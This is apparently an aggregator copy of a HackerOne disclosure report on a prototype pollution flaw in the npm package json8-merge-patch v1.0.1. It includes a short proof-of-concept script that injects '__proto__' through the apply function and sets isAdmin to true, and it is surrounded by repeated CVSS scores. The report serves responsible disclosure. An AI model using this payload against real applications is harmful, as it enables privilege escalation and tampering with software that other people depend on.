Lucene search

K
hackeroneGkmrH1:980649
HistorySep 12, 2020 - 11:53 a.m.

Node.js third-party modules: [json8-merge-patch] Prototype Pollution

2020-09-1211:53:16
gkmr
hackerone.com
38

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

31.8%

I would like to report a Prototype Pollution vulnerability in json8-merge-patch
The apply function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior.

Module

module name: json8-merge-patchversion:v1.0.1npm page: https://www.npmjs.com/package/json8-merge-patch

Module Description

JSON Merge Patch RFC 7396 toolkit for JavaScript.

Module Stats

Weekly downloads: 517

Vulnerability

Vulnerability Description

The apply function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior, which may allow obtaining sensitive information/DoS/RCE.

Steps To Reproduce:

  1. Install json8-merge-patch module

    > npm i json8-merge-patch

  2. create a file poc.js with content :

let json8mergepatch = require("json8-merge-patch");
var obj = {}
console.log("Before : " + obj.isAdmin);
json8mergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true }}'));
console.log("After : " + obj.isAdmin);
  1. Execute using: node poc.js

##Output:
Before: undefined
After: true

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Windows 10
  • NODEJS VERSION: v12.18.3
  • NPM VERSION: 6.14.6

Wrap up

  • I contacted the maintainer to let them know: [Y]
  • I opened an issue in the related repository: [Y]

Ref: https://github.com/sonnyp/JSON8/issues/113

Impact

Can result in sensitive information disclosure/DoS/RCE. (depends on implementation)

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

31.8%

Related for H1:980649